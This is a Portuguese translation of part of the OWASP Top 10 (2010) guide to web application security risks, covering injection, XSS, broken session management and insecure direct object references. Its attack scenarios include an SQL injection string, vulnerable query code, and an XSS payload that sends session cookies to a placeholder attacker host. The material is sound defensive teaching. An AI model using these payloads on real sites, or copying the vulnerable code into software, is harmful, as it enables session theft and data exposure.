Sobre o OWASP

Prefácio

O software inseguro está a minar a nossa saúde financeira, a área da defesa, da energia e outras infra-estruturas críticas. À medida que nossa infra-estrutura digital fica cada vez mais complexa e interligada, a dificuldade na construção de aplicações seguras aumenta exponencialmente. Não é possível tolerar mais os problemas de segurança relativamente simples como os que são apresentados no Top 10 da OWASP.

O objectivo do projecto Top 10 é o de aumentar a sensibilização sobre a segurança das aplicações através da identificação de alguns dos riscos mais críticos e comuns que as organizações enfrentam. O projecto Top 10 é referenciado por muitas normas, livros, ferramentas e organizações, incluindo MITRE, PCI DSS, DISA, FTC, e muitas outras. Esta versão do Top 10 da OWASP marca o oitavo ano deste projecto na sua missão de sensibilização para importância dos riscos de segurança aplicacional. O Top 10 da OWASP foi lançado inicialmente em 2003, e pequenas actualizações foram realizadas em 2004, 2007, e mais recentemente, em 2010.

A OWASP encoraja a utilização do Top 10 para que as organizações criem e utilizem aplicações seguras. Os programadores podem aprender com os erros de outras organizações. Os executivos podem começar a pensar sobre como gerir o risco de criar aplicações de software nas suas empresas.

No entanto, o Top 10 não é um programa de segurança aplicacional por si só. Indo mais além, a OWASP recomenda que as organizações estabeleçam uma base sólida de formação, normas e ferramentas que tornem a programação segura, possível. No topo dessa fundação, as organizações podem integrar a segurança nos seus processos de desenvolvimento, verificação e manutenção. A gestão pode usar os dados provenientes dessas actividades para gerir os custos e riscos associados à segurança aplicacional.

Esperamos que o Top 10 da OWASP seja útil para seus esforços de segurança aplicacional. Por favor, não hesite em contactar a OWASP com as suas perguntas, comentários e ideias, tanto de forma pública para OWASP-TopTen@lists.owasp.org ou de forma privada para dave.wichers@owasp.org.

http://www.owasp.org/index.php/Topten

Sobre a OWASP

O *Open Web Application Security Project* (OWASP) é uma comunidade aberta, dedicada a capacitar as organizações a desenvolver, adquirir e manter, aplicações que podem ser confiáveis. Na OWASP é possível encontrar de forma livre e aberta:

- Ferramentas de segurança aplicacional e normas
- Livros sobre testes de segurança aplicacional, desenvolvimento de código seguro e revisão de segurança do código
- Normas de controlos de segurança e bibliotecas
- Delegações/Capítulos locais espalhados por todo o Mundo
- Pesquisa estado da arte
- Inúmeras conferências espalhadas por todo o Mundo
- Listas de discussão
- E muito mais... tudo em www.owasp.org

Todas as ferramentas OWASP, documentos, fóruns, e as delegações/capítulos, são livres e abertos à participação de todos os interessados na melhoria da segurança aplicacional. A OWASP defende a abordagem

à segurança aplicacional como sendo um problema de pessoas, processos e tecnologia, porque as abordagens mais eficazes para a segurança aplicacional necessitam de melhorias em todas estas áreas.

A OWASP é um novo tipo de organização. A sua liberdade de pressões comerciais permite à OWASP o fornecimento de informação imparcial, prática e de baixo custo sobre segurança aplicacional. A OWASP não é afiliada de nenhuma empresa de tecnologia, apesar de apoiar o uso informado de tecnologia de segurança comercial. Da mesma forma que muitos projectos de software de código aberto, a OWASP produz diversos tipos de materiais de uma maneira cooperativa e aberta.

A fundação OWASP é uma entidade sem fins lucrativos que garante o sucesso do projecto a longo prazo. Quase todos os associados com a OWASP são voluntários, incluindo a Direcção da OWASP, as Comissões Globais, os Líderes de Delegações, os Líderes de Projectos e os membros do projecto. Apoiamos a pesquisa inovadora em segurança através da atribuição de bolsas e de infra-estrutura de suporte.

Junte-se a nós!

Introdução

Bem-Vindo

Bem-vindo ao Top 10 da OWASP! Esta importante actualização, mais concisa e focada no risco, apresenta uma lista dos 10 riscos mais críticos de segurança em aplicações Web. O Top 10 da OWASP sempre foi sobre riscos, mas esta actualização evidencia mais esta orientação do que edições anteriores e fornece informação adicional de como avaliar estes riscos nas suas aplicações.

Para cada item deste Top 10, esta edição discute a probabilidade de ocorrência geral e as suas consequências usadas para categorizar a gravidade do risco para depois fornecer orientações de como verificar se existem problemas nesta área, como evitá-los, alguns exemplos de falhas e ligações para recursos que fornecem informação adicional.

O objectivo principal do Top 10 da OWASP é o de educar programadores, *designers*, arquitectos e organizações acerca das consequências das mais importantes deficiências de segurança em aplicações Web. O Top 10 fornece ainda métodos básicos de protecção contra áreas de problemas de alto risco - e fornece orientações sobre onde ir a partir daqui.

Avisos

Não pare no 10. Há centenas de questões que poderão afectar a segurança geral de uma aplicação Web, como discutido no *OWASP Developer's Guide*, leitura essencial no desenvolvimento de aplicações Web. Orientações sobre como encontrar de forma efectiva vulnerabilidades em aplicações Web são fornecidas no *OWASP Testing Guide* e *OWASP Code Review Guide*. Estes dois manuais têm sido actualizados de forma considerável desde a última edição do Top 10 da OWASP.

Alterações constantes. Este Top 10 irá ser continuamente modificado. Mesmo sem alterar uma linha do código, a sua aplicação poderá ficar vulnerável a algum risco que não tenha sido previamente identificado. Por favor, reveja o conselho no final deste documento em "Onde ir a partir de agora" para mais informações.

Pense de forma positiva. A OWASP produziu o *Application Security Verification Standard (ASVS)* para quando tiver acabado de procurar vulnerabilidades e se focar em estabelecer fortes controles de segurança nas suas aplicações. Este documento serve de guia de verificação para organizações e revisores de código fonte.

Utilize as ferramentas de uma forma inteligente. As vulnerabilidades de segurança poderão ser bastante complexas e enterradas em montanhas (infinitas páginas) de código. A abordagem, com a maior relação custo-benefício, para encontrá-las e eliminá-las é, quase sempre, envolvendo humanos especialistas e capazes equipados com as melhores ferramentas.

Considere uma mudança de rumo. As aplicações Web seguras apenas são possíveis quando um ciclo de vida de desenvolvimento seguro de software for utilizado. Para aconselhamento sobre como implementar um *SLDC - Software Development LifeCycle* seguro, a OWASP lançou recentemente o *OWASP Software Assurance Maturity Model (SAMM)* que é uma importante actualização do *OWASP CLASP Project*.

Agradecimentos

Obrigado à Aspect Security por ter iniciado, liderado e actualizado o Top 10 da OWASP deste a sua concepção em 2003. Igualmente o nosso obrigado aos seus autores principais: Jeff Williams e Dave Wichers.

Queremos ainda agradecer às organizações que contribuíram com os seus dados de prevalência de vulnerabilidades para esta actualização de 2010:

- Aspect Security
- MITRE – CVE

- Softtek
- White Hat – Statistics

Por fim os nossos agradecimentos vão para quem contribuiu com conteúdos significativos ou despendeu tempo a rever esta actualização do Top 10:

- Mike Boberski (Booz Allen Hamilton)
- Juan Carlos Calderon (Softtek)
- Michael Coates (Aspect Security)
- Jeremiah Grossman (White Hat)
- Paul Petefish (Solutionary, Inc.)
- Eric Sheridan (Aspect Security)
- Andrew van der Stock

Notas da versão

O que mudou de 2007 para 2010?

O horizonte de ameaças para aplicações Internet mudou com o avanços dos atacantes, novas tecnologias e o aumento significativo da complexidade dos sistemas. De forma a manter o passo actualizámos o Top 10 da OWASP periodicamente. Nesta edição de 2010, fizemos alterações significativas, tais como:

1) Explanamos que o Top 10 é a propósito dos 10 Riscos mais importantes, e não das 10 falhas mais comuns. Veja os detalhes em "Compreenda os Riscos de Segurança Aplicacional", mais a baixo.

2) Alteramos a metodologia de cálculo da ordenação de forma a estimar o risco associado em vez de depender somente da frequência de ocorrência da falha. Esta alteração afecta a ordem do Top 10 como poderá ser observado na tabela que se segue.

3) Substituímos dois itens na lista:

+ ACRESCENTADO: A6 – Configuração Incorrecta de Segurança. Este item era o A10 no Top 10 de 2004: Gestão de Configurações Inseguras, mas foi abandonado porque não foi considerado como uma questão relacionada com o software. No entanto, do ponto de vista dos riscos de uma organização e de uma perspectiva de prevalência, claramente merece voltar a estar incluído nesta lista estando desta forma de volta ao Top 10.

+ ACRESCENTADO: A8 - Redireccionamentos e Encaminhamentos Inválidos. Este item está a entrar no Top 10 pela primeira vez. Esta evidência mostra-nos que embora o risco associado seja relativamente desconhecido, está a espalhar-se e poderá provocar danos significativos.

- REMOVIDO: A3 - Execução de Ficheiros Maliciosos. Este é ainda um problema significativo em variados ambientes. Contudo, a sua prevalência no Top 10 de 2007 foi inflacionado por aplicações desenvolvidas em PHP. O PHP é actualmente distribuído com mais segurança na sua configuração por omissão, fazendo baixar a relevância e prevalência deste item.

- REMOVIDO: A6 – Perda de Informação e Tratamento Incorrecto de Erros. Embora este risco seja bastante dominante, o seu impacto aquando da divulgação do *stack trace* e na informação de mensagens de erro é tipicamente mínima.

OWASP Top 10 – 2007 (Anterior)	**OWASP Top 10 – 2010 (Novo)**
A2 - Falhas de Injecção	A1 – Injecção
A1 – Cross Site Scripting (XSS)	A2 – Cross Site Scripting (XSS)
A7 – Quebra da Autenticação e da Gestão de Sessões	A3 – Quebra da Autenticação e da Gestão de Sessões
A4 – Referência Insegura e Directa a Objectos	A4 – Referência Insegura e Directa a Objectos
A5 - Cross Site Request Forgery (CSRF)	A5 - Cross Site Request Forgery (CSRF)
<Anterior T10 2004 A10 - Gestão de Configuração Insegura >	A6 - Configuração Incorrecta de Segurança (NOVO)
A8 - Armazenamento Criptográfico Inseguro	A7 - Armazenamento Criptográfico Inseguro
A10 - Falha na Restrição de Acesso a URL	A8 - Falha na Restrição de Acesso a URL

OWASP Top 10 – 2007 (Anterior)	OWASP Top 10 – 2010 (Novo)
A9 - Comunicações Inseguras	A9 - Insuficiente Protecção ao Nível do Transporte
<Não existia no T10 2007>	A10 - Redireccionamentos e Encaminhamentos Inválidos (NOVO)
A3 - Execução de Ficheiros Maliciosos	<Removido do Top 10 2010>
A6 - Perda de Informação e Tratamento Incorrecto de Erros	<Removido do Top 10 2010>

Riscos de Segurança Aplicacional

O que são riscos de Segurança Aplicacional?

Os atacantes podem potencialmente recorrer a muitos caminhos diferentes através da sua aplicação de forma a poderem causar danos ao seu negócio. Cada um destes caminhos representa um risco que poderá ser, ou não, suficientemente sério para necessitar a sua atenção.

<esquema 1>

Por vezes, estes caminhos são fáceis de encontrar e de explorar, outras vezes, são extremamente difíceis. De forma semelhante, os danos causados podem variar do nada até uma situação em que podem colocar o seu negócio em risco total. Para determinar o risco para a sua organização, você pode avaliar a probabilidade associada ao agente de ameaça, o vector do ataque e a vulnerabilidade de segurança e combinar estes elementos com a estimativa de impacto técnico e de negócio para sua organização. Os elementos referidos, todos juntos, determinam o risco global ou total.

Qual é o meu risco?

Esta actualização do Top 10 da OWASP centra-se na identificação dos riscos mais sérios para um leque variado de organizações. Para cada um destes riscos é fornecida informação genérica acerca da probabilidade e do impacto técnico usando o esquema de avaliação baseado no Metodologia de Classificação de Riscos da OWASP.

Agente de Ameaça	Vector de Ataque	Prevalência da Vulnerabilidade	Facilidade de Detecção da Vulnerabilidade	Impacto Técnico	Impacto de Negócio
?	Fácil	Generalizada	Fácil	Severo	?
	Médio	Comum	Médio	Moderado	
	Difícil	Pouco comum	Difícil	Menor	

No entanto, apenas você conhece as especificidades do seu ambiente e negócio. Para cada aplicação, pode nem existir um agente de ameaça que possa realizar um ataque relevante, ou o impacto técnico do mesmo pode nem ser muito significativo. Assim, você terá que avaliar cada risco por si próprio, tendo em especial atenção os agentes de ameaça, os controlos de segurança e o impacto no negócio na sua empresa.

Embora as edições anteriores do Top 10 da OWASP se tenham centrado na identificação das vulnerabilidades mais comuns, estas foram igualmente concebidas em torno do risco. Os nomes dos riscos no Top 10 derivam do tipo de ataque, do tipo de vulnerabilidade, ou do tipo de impacto causado. A OWASP escolheu o nome mais comum, ou popular de forma a alcançar um nível mais elevado de consciencialização.

Referências

OWASP

- OWASP Risk Rating Methodology
- Article on Thread/Risk Modeling

Externas

- Fair Informal Risk Framework
- Microsoft Thread Modeling (STRIDE and DREAD)

Top 10 da OWASP de riscos de Segurança Aplicacional - 2010

A1 – Injecção	As falhas de injecção, tais como injecção de SQL, de S.O. e de LDAP, ocorrem quando dados não confiáveis são enviados para um interpretador como parte de um comando ou consulta. Os dados do ataque hostil podem iludir o interpretador para que este possa executar comandos não-desejáveis ou aceder a dados não autorizados.
A2 - Cross Site Scripting (XSS)	As falhas XSS acorrem sempre quando uma aplicação recebe dados não confiáveis e os envia para um navegador Web sem que os tenha validado ou filtrado convenientemente. O XSS permite aos atacantes a execução de scripts no navegador da vítima que podem ser usados para sequestrar informações da sessão do utilizador, alterar sítios de Web de forma perniciosa ou redirecionar o utilizador para sítios maliciosos.
A3 – Quebra da Autenticação e da Gestão de Sessões	As funções de uma aplicação relacionadas com autenticação e gestão de sessões são muitas vezes implementadas de forma incorrecta, permitindo aos atacantes o compromisso de senhas, chaves, identificadores de sessão ou, ainda, explorar outras falhas de implementação para assumirem a identidade de outro utilizador.
A4 – Referência Insegura e Directa a Objectos	Uma referência directa a um objecto ocorre quando um programador expõe uma referência para um objecto interno da implementação, como um ficheiro, uma directoria ou chave de uma base de dados. Sem uma verificação de controlo de acesso ou outra protecção semelhante, os atacantes podem manipular estas referências para acederem a informação não-autorizada.
A5 - Cross Site Request Forgery (CSRF)	Um ataque CSRF força o navegador de uma vítima que tenha uma sessão activa a enviar um pedido HTTP forjado, incluindo o cookie da sessão bem como outras informações da sessão como informação de autenticação, para uma aplicação Web vulnerável. Esta falha permite ao atacante forçar o navegador da vítima a criar pedidos que a aplicação vulnerável aceite como pedidos legítimos oriundos da vítima.
A6 - Configuração Incorrecta de Segurança	A segurança depende também da existência de configurações seguras específicas definidas e usadas na aplicação, *frameworks*, servidor aplicacional, servidor de Web e plataforma. Todas estas configurações devem ser definidas, implementadas e mantidas por que muitas vezes elas não vem aplicadas diretamente do fornecedor das mesmas. Isto inclui igualmente possuir todo o software actualizado, incluindo todas as bibliotecas de código usadas pela aplicação.
A7 - Armazenamento Criptográfico Inseguro	Muitas aplicações Web não protegem devidamente dados sensíveis, tais como cartões de créditos, SSNs e credenciais de autenticação com algoritmos de cifra ou de resumo. Os atacantes podem roubar ou modificar estes dados, protegidos de forma deficiente, para realizar roubos de identidade, fraude com cartões de crédito ou outros crimes.
A8 - Falha na Restrição de Acesso a URL	Muitas aplicações Web verificam os direitos de acesso a uma URL antes de mostrarem ligações e botões protegidos. No entanto, as aplicações devem realizar verificações de controles de acesso semelhantes de cada vez que estas páginas são acedidas, caso contrário, os atacantes podem forjar URLs e aceder a estas páginas escondidas, sem qualquer controlo.

A9 - Insuficiente Protecção ao Nível do Transporte	As aplicações falham frequentemente na autenticação, cifra, e protecção da confidencialidade e integridade do tráfego de rede sensível. Quando o fazem, fazem-no muitas vezes com recurso a algoritmos fracos, usam certificados inválidos ou expirados, ou não os usam correctamente.
A10 - Redireccionamentos e Encaminhamentos Inválidos	As aplicações Web redireccionam e encaminham frequentemente utilizadores para outras páginas e sítios de Web, e usam dados não confiáveis para determinar as páginas de destino. Sem uma validação adequada, os atacantes podem redirecionar as vítimas para sítios de *phishing* ou de *malware*, ou usar o encaminhamento para aceder a páginas não autorizadas.

A1 - Injecção

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração FÁCIL	Prevalência COMUM	Detecção MÉDIO	Impacto SEVERO	
Considere alguém que possa enviar dados não confiáveis para o sistema, incluindo utilizadores externos, utilizadores internos e administradores.	O atacante envia um ataque baseado em texto que explora a sintaxe do interpretador alvo. Quase qualquer fonte de dados poderá constituir um vector de injecção, incluindo fontes internas.	As Falhas de Injecção ocorrem quando uma aplicação envia dados não confiáveis para um interpretador. As falhas de injecção apresentam uma elevada prevalência, em particular em código legado, encontrando-se com regularidade em consultas SQL, consultas LDAP, consultas XPath, comandos do SO, argumentos de programas, etc. Estas falhas são fáceis de detectar aquando da verificação do código, mas mais difíceis através de testes. Scanners e Fuzzers poderão ajudar os atacantes a encontrá-las.		As injecções poderão resultar em corrupção ou perca de dados, falhas na responsabilizaçã o, ou negação de serviço. A injecção poderá levar ao controlo total do sítio por parte do atacante.	Considere o valor do negócio dos dados afectados e da plataforma em que assenta o interpretador. Todos os dados podem ser roubados ou modificados. Pode a sua reputação ser afectada?

Serei vulnerável à injecção?

A melhor forma de saber se uma aplicação é vulnerável à injecção será verificar que toda a utilização dos interpretadores separa de forma clara dados não confiáveis dos comandos e consultas. Para declarações SQL isto significa a utilização de variáveis de ligação em todas as instruções preparadas e procedimentos armazenados, evitando consultas dinâmicas.

Verificar o código é a forma mais rápida e segura para assegurar se a aplicação usa interpretadores de uma forma segura. As ferramentas de análise de código, podem ajudar um analista de segurança a encontrar o uso de interpretadores e o fazer o registo do fluxo de dados através da aplicação. Os testes de penetração manual poderão confirmar estas questões concebendo modos de ataque que verifiquem estas vulnerabilidades.

A análise dinâmica e automática que permita exercitar a aplicação poderá fornecer alguma informação adicional sobre a existência ou não de algumas vulnerabilidades de injecção que possam ser exploradas. Os *scanners* não poderão sempre conseguir chegar aos interpretadores e poderão ter alguma dificuldade em detetar se um ataque foi feito com sucesso. Uma má gestão de erros pode tornar a descoberta das vulnerabilidades de injecção mais fácil.

Como evitar a injecção?

Prevenir injeções requer que os dados não confiáveis sejam separados dos comandos e das consultas:

1. A melhor opção é usar uma API segura que evita o uso por completo dos interpretadores ou oferece uma interface parametrizável. Tenha especial cuidado com as APIs, tais como procedimentos armazenados, que embora sejam parametrizáveis, mesmo assim permitem injecção.

2. Caso uma API parametrizável não esteja disponível, deve filtrar com todo o cuidado carateres especiais usando uma sintaxe de filtragem específica para o interpretador em causa. A ESAPI da OWASP possui algumas destas rotinas de filtragem.

3. É igualmente recomendada a validação da entrada de dados empregando estratégias positivas ou listas brancas (whitelist), com uma canonização adequada. No entanto esta pode não ser defesa suficiente já que muitas aplicações necessitam de carateres especiais aquando da entrada de dados. A ESAPI da OWASP contém uma extensa lista de rotinas de validação de dados usando listas brancas.

Exemplo de cenário de ataque

A aplicação usa dados não confiáveis na construção da seguinte consulta SQL vulnerável:

```
String query = "SELECT *
FROM    accounts
WHERE  custID="" + request.get.Parameter("id") + "'";
```

O atacante altera o argumento 'id' no seu navegador por forma a enviar ' ou '1'='1'. Isto altera o propósito da consulta SQL fazendo retornar todos os registos da tabela “accounts”.

```
http://example.com/app/accountView?id=' or '1'='1'
```

No pior dos cenários o atacante usa esta vulnerabilidade para invocar procedimentos armazenados especiais na base de dados para permitir tomar o controlo total da mesma, e eventualmente controlar o servidor em que a base de dados reside.

Referências

OWASP

- OWASP SQL Injection Prevention Cheat Sheet
- OWASP Injection Flaws Article
- ESAPI Encoder API
- ESAPI Input Validation API
- ASVS: Output Encoding/Escaping Requirements (V6)
- OWASP Testing Guide: Chapter on SQL Injection Testing
- OWASP Code Review Guide: Chapter on SQL Injection
- OWASP Code Review Guide: Command Injection

Externas

- CWE Entry 77 on Command Injection
- CWE Entry 89 on SQL Injection

A2 - Cross Site Scripting (XSS)

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração MÉDIA	Prevalência GENERALIZADA	Detecção FÁCIL	Impacto MODERADO	
Considere alguém que possa enviar dados não confiáveis para o sistema, incluindo utilizadores externos, utilizadores internos e administradores.	O atacante envia scripts textuais que exploram o interpretador no seu navegador. Quase qualquer fonte de dados poderá constituir um vector de ataque, incluindo fontes internas tais como dados de uma base de dados.	O XSS é um dos riscos que mais prevalece no contexto das falhas de segurança em aplicações Web. As falhas XSS acontecem quando uma aplicação inclui dados fornecidos pelo utilizador numa página enviada para o navegador sem que alguma validação ou filtragem tenha sido feita aos dados. Existem três tipos conhecidos de falhas XSS: 1) Armazenada; 2) Reflectida; 3) XSS baseado em DOM. Descobrir falhas XSS é razoavelmente fácil através de testes ou análise do código.		Os atacantes poderão executar scripts no navegador da vítima para sequestrar dados da sessão do utilizador, alterar sítios de forma perniciosa, inserir conteúdo hostil, redirecionar o utilizador, sequestrar o navegador do utilizador usando malware, etc.	Considere o valor do negócio do sistema afectado e de todos os dados que o mesmo processa. Considere igualmente o impacto de negócio da exposição pública da vulnerabilidade.

Serei vulnerável ao XSS?

É necessário assegurar que todos os dados inseridos por utilizadores, enviados para o navegador são verificados quanto à sua validade (através da validação da entrada dos dados) e que os dados são devidamente filtrados antes de serem incluídos na página. A codificação adequada da saída de dados assegura que os dados de entrada são sempre tratados como texto pelo navegador, ao invés de serem considerados como conteúdo activo passível de ser executado.

Ambas ferramentas estáticas e dinâmicas podem detectar automaticamente problemas de XSS. No entanto, cada aplicação constrói as páginas de diferente modo e usa diferentes interpretadores associados aos navegadors como JavaScript, ActiveX, Flash e Silverlight, o que dificulta a detecção automática. Portanto, uma detecção completa destes problemas requere uma combinação de revisão manual do código e testes de penetração manual, como complemento a qualquer abordagem automática que possa ser usada.

As tecnologias Web 2.0, como o AJAX, fazem com que este risco - XSS - seja muito mais difícil detectar através de ferramentas automáticas.

Como evitar o XSS?

Prevenir o XSS requer manter os dados não confiáveis separados do conteúdo activo do broswer.

1. A opção mais adequada passa for efectuar uma filtragem a todos os dados não confiáveis que constem do contexto HTML (corpo, atributos, JavaScript, CSS ou URL) em que os dados serão inseridos. Os programadores necessitam de incluir esta filtragem nas suas aplicações a não ser que as

suas frameworks de interface do utilizador já o façam. Consulte o “OWASP XSS Preveting Cheat Sheet” para mais detalhes sobre técnicas de filtragem.

2. A validação de entrada de dados positiva ou através de listas brancas (*whitelist*) com uma adequada canonização e descodificação, é recomendada, uma vez que ajuda a proteger contra XSS. No entanto, esta não é uma defesa completa uma vez que várias aplicações necessitam usar caracteres especiais aquando da entrada de dados. Essas validações deveriam, tanto quanto possível, descodificar qualquer entrada de dados codificada e validar o seu comprimento, caracteres, formato e regras de negócio antes de aceitar dados de entrada.

Exemplo de cenário de ataque

A aplicação usa dados não confiáveis na construção do seguinte fragmento de HTML sem validação ou filtragem dos mesmos:

```
(String) page += "<input name ='creditcard' type='TEXT' value="" + request.getParameter("CC")+"'>";
```

O atacante modifica o parâmetro 'CC' no seu navegador para:

```
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'
%20+document.cookie</script>.
```

Isto faz com que o ID da sessão da vítima seja enviado para o sítio de Web do atacante, permitindo a este último capturar a sessão corrente do utilizador. Atenção que o atacante também poderá usar XSS para destruir qualquer defesa CSRF que a aplicação tenha. Veja a A5 para informação sobre CSRF

Referências

OWASP

- OWASP XSS Prevention Cheat Sheet
- OWASP Cross-Site Scripting Article
- ESAPI Project Home Page
- ESAPI Encoder API
- ASVS: Output Encoding/Escaping Requirements (V6)
- ASVS: Input Validation Requirements (V5)
- Testing Guide: 1st 3 Chapters on Data Validation Testing
- OWASP Code Review Guide: Chapter on XSS Review

Externas

- CWE Entry 79 on Cross-Site Scripting
- Rsnake's XSS Attack Cheet Sheet

A3 - Quebra da Autenticação e da Gestão de Sessões

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração MÉDIA	Prevalência COMUM	Detecção MÉDIA	Impacto SEVERO	
Considere atacantes externos e anónimos, assim como utilizadores com suas próprias contas, que podem tentar furtar as contas de outros utilizadores. Considere ainda pessoas de dentro de sua empresa que procuram disfarçar suas acções.	Os atacantes usam falhas ou brechas nas funções de autenticação ou de gestão de sessões (por exemplo, contas expostas, palavras chave, identificadores de sessão) para se fazerem passar por outros utilizadores.	Os programadores desenvolvem frequentemente esquemas de autenticação e de gestão de sessões, no entanto fazer isto da forma mais correcta é difícil. Como resultado, estes esquemas personalizados apresentam frequentemente falhas em áreas como a saída de sessão, gestão de palavras chave, expiração de sessões, sistemas do tipo "*remember me*", questões secretas, actualização da conta, entre outros. Encontrar e identificar estas falhas pode ser, por vezes, difícil, uma vez que cada implementação tem suas próprias características.		Estas falhas podem permitir que algumas ou até mesmo todas as contas sejam atacadas. Uma vez bem sucedido, o atacante pode fazer tudo exactamente como a vítima. Contas com maiores privilégios são mais frequentemente visadas.	Considere o valor de negócios dos dados e funções das aplicações afectadas. Considere ainda o impacto de negócios de uma exposição pública da vulnerabilidade.

Serei vulnerável?

Os activos primários a serem protegidos são as credenciais e os identificadores de sessão.

1. Estão as credenciais sempre protegidas enquanto armazenadas utilizando funções de resumo ou criptografia? Veja A7.

2. Podem as credenciais ser adivinhadas ou sobrepostas através de funções inadequadas das funções de gestão da conta (ex.: criação da conta, mudança de palavra passe, recuperação da palavra passe, identificadores de sessão de fracos)?

3. São os identificadores de sessão expostos na URL (ex.: re-escrita de URL)?

4. São os identificadores de sessão vulneráveis a ataques de fixação de sessão?

5. São os identificadores de sessão desligados após um determinado período de inactividade e os usuários tem uma opção para saírem de sessão?

6. São os identificadores de sessão modificados após a autenticação bem sucedida?

7. São as palavras chave, identificadores de sessão e outras credenciais enviadas através de ligações que usem TLS? Ver A9.

Veja os requisitos do ASVS nas secções V2 e V3 para maiores detalhes.

Como evitar isto?

A recomendação primária para uma organização é a de tornar disponível para os seus programadores:

1. Um conjunto único de controlos de autenticação forte e de gestão de sessões. Estes controlos devem ser capazes de:

    1. Atender a todos os requisitos para autenticação e gestão de sessões definidos no documento "*Application Security Verification Standard*" (ASVS) em particular nas secções V2 (Autenticação) e V3 (Gestão de Sessões).

    2. Ter uma interface simples para os programadores. Considere o Autenticador da ESAPI e as API de Utilizador como bons exemplos para simular, utilizar ou desenvolver sobre.

2. Grandes esforços devem ser igualmente realizados para evitar a ocorrência de falhas XSS que podem ser utilizadas para furto de identificadores de sessão. Veja A2.

Exemplo de cenário de ataque

Cenário #1: Aplicação para reservas de avião que suporta a rescrita de URL, colocando os identificadores de sessão directamente na URL:

```
http://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii
```

Um utilizador autenticado do sítio Web quer que seus amigos saibam sobre a venda. Ele encaminha por e-mail o endereço acima sem saber que lhes está igualmente a fornecer o seu identificador de sessão. Quando um de seus amigos usa o endereço, ele usará não só o identificador de sessão original como ainda os dados referentes ao cartão de crédito utilizado na operação e associados à sessão.

Cenário #2: Os processos de expiração da sessões da aplicação não estão parametrizados de forma adequada. O utilizador utiliza um computador público para aceder a um sítio Web. Em vez de seleccionar a opção de "logout" para sair de sessão, ele simplesmente fecha a janela do navegador Web e vai-se embora. Um atacante pode utilizar o mesmo navegador Web uma hora mais tarde e mesmo assim a sessão original continua activa e devidamente autenticada.

Cenário #3: Um utilizador interno ou atacante externo ganha acesso à base de dados com as palavras chave de acesso ao sistema. As palavras passe dos utilizadores não estão cifradas, expondo todas as palavras chave dos utilizadores a este atacante.

Referências

OWASP

Para um conjunto mais completo de requisitos e de problemas a serem evitados nesta área, veja os requerimentos estabelecidos pelo ASVS para a área de Autenticação (V2) e de Gestão de Sessões (V3).

- OWASP Authentication Cheat Sheet
- ESAPI Authenticator API
- ESAPI User API
- OWASP Development Guide: Chapter on Authentication
- OWASP Testing Guide: Chapter on Authentication

Externas

- CWE Entry 287 on Improper Authentication

A4 - Referências Directas Inseguras a Objectos

Agente da Ameaça	Vector de Ataque	Vulnerabilidade de Segurança		Impactos Técnicos	Impactos de Negócio
	Exploração FÁCIL	Prevalência COMUM	Detecção FÁCIL	Impacto MODERADO	
Considere os tipos de utilizadores do seu sistema. Algum desses utilizadores tem apenas acesso parcial a certos tipos de dados do sistema?	O atacante, que por sua vez é um utilizador autorizado no sistema, altera simplesmente o valor de um parâmetro que se refere directamente a um objecto do sistema para outro objecto de sistema ao qual o utilizador em causa não deveria ter acesso. Será o acesso concedido?	As aplicações usam frequentemente o nome real ou a chave de um objecto aquando da geração das páginas Web. As aplicações nem sempre verificam se o utilizador está autorizado para usar o objecto alvo. Isto resulta numa falha de referência directa insegura ao objecto. Efectuando testes é possível manipular facilmente os valores dos parâmetros para detectar tais falhas e a análise de código mostra até que ponto está adequadamente a ser verificada a autorização.		Tais falhas podem comprometer todos os dados que possam ser referenciados pelo parâmetro. A menos que o espaço dos nomes seja escasso, torna-se fácil para um atacante aceder a todos os dados disponíveis desse tipo.	Considere o valor de negócio dos dados expostos. Considere igualmente o impacto de negócio da exposição pública da vulnerabilidade.

Serei vulnerável?

A melhor forma de descobrir se uma aplicação é vulnerável a uma referência directa insegura a um objecto consiste em verificar que todas as referências a objectos possuem defesas apropriadas. Para conseguir isto, é preciso considerar:

1. Para referências directas a recursos restritos, a aplicação necessita verificar se o utilizador está autorizado a aceder ao recurso exacto que foi solicitado.

2. Se a referência é uma referência indirecta, o mapeamento para a referência directa deve ser limitada aos valores autorizados para o utilizador actual.

A revisão de código de uma aplicação pode verificar facilmente e rapidamente se as duas abordagens anteriores estão implementadas correctamente. Os testes são igualmente um meio eficiente para identificar referências directas a objectos e se as mesmas são seguras. As ferramentas automáticas, tipicamente não procuram este tipo de falhas uma vez que não conseguem reconhecer o que necessita de protecção e o que é seguro ou não é seguro.

Como evitar isto?

Prevenir referências directas inseguras a objectos requer a selecção de uma abordagem que permita proteger cada um dos objectos que possam ser acedidos pelo utilizador (por exemplo, o número de objectos, nome do ficheiro):

1. Use referências indirectas a objectos por utilizador ou por sessão. Isto permite evitar que os atacantes possam atacar directamente os recursos para os quais não estão autorizados. Por exemplo,

em vez de usar a chave da base de dados de um recurso, pode ser apresentada uma lista de seis recursos autorizados para o utilizador actual, numerando esses recursos de 1 a 6 para representar o valor escolhido pelo utilizador. A aplicação tem que mapear a referência indirecta de cada utilizador para chave da base de dados real no servidor. A ESAPI da OWASP inclui tanto mapeamentos sequenciais como aleatórios que os programadores podem usar para eliminar referências directas a objectos.

2. Verificar o Acesso. De cada vez que é utilizada uma referência directa a um objecto por parte de uma fonte não confiável o mesmo deve incluir uma verificação de controlo de acesso para assegurar que o utilizador está autorizado a usar o objecto solicitado.

Exemplo de cenário de ataque

Uma aplicação usa dados não verificados numa chamada SQL que está a aceder a informação de uma conta:

```
String query = "SELECT * FROM accts WHERE account = ?";
PreparedStatement pstmt = connection.prepareStatement(query, …);
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery();
```

O atacante pode simplesmente alterar o parâmetro 'acct' no seu navegador para enviar qualquer outra identificação de conta que ele pretenda. Se não for devidamente verificada, o atacante pode aceder a contas de outros utilizadores, ao invés da conta autorizada.

```
http://example.com/app/accountInfo?acct=notmyacct
```

Referências

OWASP

- OWASP Top 10-2007 on Insecure Dir Object References
- ESAPI Access Reference Map API
